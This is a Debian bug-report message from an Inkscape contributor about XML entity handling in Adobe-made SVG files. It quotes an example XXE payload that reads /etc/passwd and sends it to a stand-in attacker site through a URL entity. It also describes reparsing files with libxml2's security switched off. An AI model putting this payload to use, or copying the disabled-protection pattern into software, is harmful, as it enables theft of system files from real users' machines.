Bug#721384: Update from an Inkscape'er



<!ENTITY ns_svg "http://www.w3.org/2000/svg";> can cause security
concernes, the example given to me from my friend:

/
| You can replace that with <!ENTITY yoursecrets SYSTEM "/etc/passwd"> and
| add in <!ENTITY web_var "http://myevilwebsite.com?&yoursecrets;";>
| 
| We backported the security fix quite far. But it effects libxml2 before
| a certain version, it's just that adobe files /require/ the security hole.
| 
| So we have to open the file, detect adobe file with a parsing error,
| reopen the file and search and replace dangerous text (that might break
| the file) and reparse with the security switched off in libxml2.
\


Cheers,
   T
